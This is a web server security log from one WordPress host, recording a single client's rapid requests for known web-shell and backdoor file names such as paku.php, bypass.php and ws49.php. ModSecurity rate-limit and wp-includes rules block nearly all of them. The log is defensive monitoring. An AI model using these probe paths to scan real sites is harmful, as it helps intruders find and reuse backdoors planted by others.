[Sat May 23 20:52:55.290865 2026] [:error] [pid 30941:tid 30985] [client 4.213.99.137:1641] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "ahGjJ3TIgjSDhiZmvlXvVQAAAEk"]
[Sat May 23 20:52:55.658468 2026] [:error] [pid 44326:tid 44377] [client 4.213.99.137:1281] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "ahGjJ8yrPrcAqE-FOKKgaQAAAdY"]
[Sat May 23 20:52:55.986126 2026] [:error] [pid 30941:tid 30986] [client 4.213.99.137:1574] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "ahGjJ3TIgjSDhiZmvlXvVwAAAEo"]
[Sat May 23 20:52:56.273343 2026] [:error] [pid 30940:tid 30973] [client 4.213.99.137:1702] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/makeasmtp.php"] [unique_id "ahGjKJqUP2XZmzp7RDoNIgAAABg"]
[Sat May 23 20:52:56.627856 2026] [:error] [pid 44326:tid 44360] [client 4.213.99.137:1699] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/paku.php"] [unique_id "ahGjKMyrPrcAqE-FOKKgbQAAAcU"]
[Sat May 23 20:52:57.155021 2026] [:error] [pid 25876:tid 25879] [client 4.213.99.137:1682] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/paku.php"] [unique_id "ahGjKQSpWUCKPezIBJCuNgAAAQE"]
[Sat May 23 20:52:57.450791 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1614] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/paku.php"] [unique_id "ahGjKXTIgjSDhiZmvlXvXgAAAEQ"]
[Sat May 23 20:52:57.743876 2026] [:error] [pid 44325:tid 44343] [client 4.213.99.137:1639] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/paku.php"] [unique_id "ahGjKVgUQb4puB_2yV8l3gAAAY8"]
[Sat May 23 20:52:58.050201 2026] [:error] [pid 30941:tid 30997] [client 4.213.99.137:1575] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rtx.php"] [unique_id "ahGjKnTIgjSDhiZmvlXvYAAAAFU"]
[Sat May 23 20:52:58.490669 2026] [:error] [pid 30941:tid 30977] [client 4.213.99.137:1632] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rtx.php"] [unique_id "ahGjKnTIgjSDhiZmvlXvYwAAAEE"]
[Sat May 23 20:52:58.954410 2026] [:error] [pid 30941:tid 30986] [client 4.213.99.137:1678] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rtx.php"] [unique_id "ahGjKnTIgjSDhiZmvlXvZQAAAEo"]
[Sat May 23 20:52:59.419300 2026] [:error] [pid 30941:tid 30978] [client 4.213.99.137:1661] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rtx.php"] [unique_id "ahGjK3TIgjSDhiZmvlXvaAAAAEI"]
[Sat May 23 20:52:59.839373 2026] [:error] [pid 30940:tid 30963] [client 4.213.99.137:1645] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/da222.php"] [unique_id "ahGjK5qUP2XZmzp7RDoNJAAAAA4"]
[Sat May 23 20:53:00.144120 2026] [:error] [pid 30940:tid 30959] [client 4.213.99.137:1303] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/da222.php"] [unique_id "ahGjLJqUP2XZmzp7RDoNJQAAAAo"]
[Sat May 23 20:53:00.465103 2026] [:error] [pid 44296:tid 44319] [client 4.213.99.137:1192] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/da222.php"] [unique_id "ahGjLJdrUdFI6ijvMkmMegAAAVU"]
[Sat May 23 20:53:00.891735 2026] [:error] [pid 30941:tid 30976] [client 4.213.99.137:1625] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/da222.php"] [unique_id "ahGjLHTIgjSDhiZmvlXvawAAAEA"]
[Sat May 23 20:53:01.257342 2026] [:error] [pid 30941:tid 30987] [client 4.213.99.137:1620] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/"] [unique_id "ahGjLXTIgjSDhiZmvlXvbAAAAEs"]
[Sat May 23 20:53:01.532468 2026] [:error] [pid 44296:tid 44309] [client 4.213.99.137:1608] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/"] [unique_id "ahGjLZdrUdFI6ijvMkmMewAAAUs"]
[Sat May 23 20:53:01.807931 2026] [:error] [pid 30940:tid 30967] [client 4.213.99.137:1658] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/"] [unique_id "ahGjLZqUP2XZmzp7RDoNJgAAABI"]
[Sat May 23 20:53:02.119659 2026] [:error] [pid 30941:tid 30997] [client 4.213.99.137:1602] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/"] [unique_id "ahGjLnTIgjSDhiZmvlXvcQAAAFU"]
[Sat May 23 20:53:02.414176 2026] [:error] [pid 44296:tid 44302] [client 4.213.99.137:1150] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/min.php"] [unique_id "ahGjLpdrUdFI6ijvMkmMfAAAAUQ"]
[Sat May 23 20:53:02.695818 2026] [:error] [pid 44326:tid 44366] [client 4.213.99.137:1332] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/min.php"] [unique_id "ahGjLsyrPrcAqE-FOKKgcwAAAcs"]
[Sat May 23 20:53:02.975304 2026] [:error] [pid 30940:tid 30950] [client 4.213.99.137:1648] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/min.php"] [unique_id "ahGjLpqUP2XZmzp7RDoNJwAAAAE"]
[Sat May 23 20:53:03.250016 2026] [:error] [pid 44326:tid 44371] [client 4.213.99.137:1221] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/min.php"] [unique_id "ahGjL8yrPrcAqE-FOKKgdgAAAdA"]
[Sat May 23 20:53:03.523219 2026] [:error] [pid 44326:tid 44363] [client 4.213.99.137:1265] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-fileesx-449.php"] [unique_id "ahGjL8yrPrcAqE-FOKKgeAAAAcg"]
[Sat May 23 20:53:03.829919 2026] [:error] [pid 44296:tid 44299] [client 4.213.99.137:1606] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-fileesx-449.php"] [unique_id "ahGjL5drUdFI6ijvMkmMfQAAAUE"]
[Sat May 23 20:53:04.110657 2026] [:error] [pid 30941:tid 30982] [client 4.213.99.137:1237] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-fileesx-449.php"] [unique_id "ahGjMHTIgjSDhiZmvlXvdAAAAEY"]
[Sat May 23 20:53:04.392728 2026] [:error] [pid 25876:tid 25902] [client 4.213.99.137:1686] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-fileesx-449.php"] [unique_id "ahGjMASpWUCKPezIBJCuPgAAARg"]
[Sat May 23 20:53:04.675448 2026] [:error] [pid 30940:tid 30957] [client 4.213.99.137:1538] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/min.php"] [unique_id "ahGjMJqUP2XZmzp7RDoNKgAAAAg"]
[Sat May 23 20:53:04.974471 2026] [:error] [pid 25876:tid 25894] [client 4.213.99.137:1328] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/min.php"] [unique_id "ahGjMASpWUCKPezIBJCuPwAAARA"]
[Sat May 23 20:53:05.250606 2026] [:error] [pid 25876:tid 25891] [client 4.213.99.137:1955] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/min.php"] [unique_id "ahGjMQSpWUCKPezIBJCuQQAAAQ0"]
[Sat May 23 20:53:05.530740 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1809] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/min.php"] [unique_id "ahGjMXTIgjSDhiZmvlXveAAAAFg"]
[Sat May 23 20:53:05.825932 2026] [:error] [pid 30941:tid 30989] [client 4.213.99.137:1498] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/x/bypass.php"] [unique_id "ahGjMXTIgjSDhiZmvlXveQAAAE0"]
[Sat May 23 20:53:06.132300 2026] [:error] [pid 30941:tid 30986] [client 4.213.99.137:1704] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/x/bypass.php"] [unique_id "ahGjMnTIgjSDhiZmvlXvegAAAEo"]
[Sat May 23 20:53:06.453690 2026] [:error] [pid 30941:tid 30995] [client 4.213.99.137:1624] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/x/bypass.php"] [unique_id "ahGjMnTIgjSDhiZmvlXvfwAAAFM"]
[Sat May 23 20:53:06.730275 2026] [:error] [pid 44325:tid 44331] [client 4.213.99.137:1657] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/x/bypass.php"] [unique_id "ahGjMlgUQb4puB_2yV8l4gAAAYM"]
[Sat May 23 20:53:07.035359 2026] [:error] [pid 44325:tid 44344] [client 4.213.99.137:1638] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/index.php"] [unique_id "ahGjM1gUQb4puB_2yV8l5AAAAZA"]
[Sat May 23 20:53:07.372782 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1284] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "ahGjM3TIgjSDhiZmvlXvggAAAFY"]
[Sat May 23 20:53:07.645156 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:1603] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "ahGjM3TIgjSDhiZmvlXvgwAAAEg"]
[Sat May 23 20:53:07.950861 2026] [:error] [pid 44296:tid 44320] [client 4.213.99.137:1230] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-info.php"] [unique_id "ahGjM5drUdFI6ijvMkmMgwAAAVY"]
[Sat May 23 20:53:08.237069 2026] [:error] [pid 44296:tid 44305] [client 4.213.99.137:1724] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wordfence-waf.php"] [unique_id "ahGjNJdrUdFI6ijvMkmMiAAAAUc"]
[Sat May 23 20:53:08.517674 2026] [:error] [pid 44296:tid 44311] [client 4.213.99.137:1218] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wordfence-waf.php"] [unique_id "ahGjNJdrUdFI6ijvMkmMjgAAAU0"]
[Sat May 23 20:53:08.797413 2026] [:error] [pid 30941:tid 30981] [client 4.213.99.137:1313] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wordfence-waf.php"] [unique_id "ahGjNHTIgjSDhiZmvlXvpgAAAEU"]
[Sat May 23 20:53:09.137434 2026] [:error] [pid 30941:tid 30980] [client 4.213.99.137:1626] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-wordfence-waf.php"] [unique_id "ahGjNXTIgjSDhiZmvlXvqwAAAEQ"]
[Sat May 23 20:53:09.407336 2026] [:error] [pid 30940:tid 30951] [client 4.213.99.137:1216] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws49.php"] [unique_id "ahGjNZqUP2XZmzp7RDoNLAAAAAI"]
[Sat May 23 20:53:09.812818 2026] [:error] [pid 44296:tid 44303] [client 4.213.99.137:1716] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws49.php"] [unique_id "ahGjNZdrUdFI6ijvMkmMlAAAAUU"]
[Sat May 23 20:53:10.085301 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1292] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws49.php"] [unique_id "ahGjNnTIgjSDhiZmvlXvsQAAAFg"]
[Sat May 23 20:53:10.354392 2026] [:error] [pid 30941:tid 30989] [client 4.213.99.137:1694] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws49.php"] [unique_id "ahGjNnTIgjSDhiZmvlXvtAAAAE0"]
[Sat May 23 20:53:10.629720 2026] [:error] [pid 31039:tid 31057] [client 4.213.99.137:1241] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "ahGjNqIYDYo8WvA5zLJGmwAAANA"]
[Sat May 23 20:53:10.929962 2026] [:error] [pid 31039:tid 31062] [client 4.213.99.137:1798] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "ahGjNqIYDYo8WvA5zLJGnAAAANU"]
[Sat May 23 20:53:11.226198 2026] [:error] [pid 44326:tid 44367] [client 4.213.99.137:1623] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "ahGjN8yrPrcAqE-FOKKgfAAAAcw"]
[Sat May 23 20:53:11.525289 2026] [:error] [pid 44325:tid 44336] [client 4.213.99.137:1673] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "ahGjN1gUQb4puB_2yV8l9QAAAYg"]
[Sat May 23 20:53:11.795355 2026] [:error] [pid 31039:tid 31065] [client 4.213.99.137:1653] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX1.php"] [unique_id "ahGjN6IYDYo8WvA5zLJGnwAAANg"]
[Sat May 23 20:53:12.135463 2026] [:error] [pid 31039:tid 31043] [client 4.213.99.137:1222] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX1.php"] [unique_id "ahGjOKIYDYo8WvA5zLJGoAAAAMI"]
[Sat May 23 20:53:12.411452 2026] [:error] [pid 44326:tid 44355] [client 4.213.99.137:1672] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/CDX1.php"] [unique_id "ahGjOMyrPrcAqE-FOKKgfgAAAcA"]
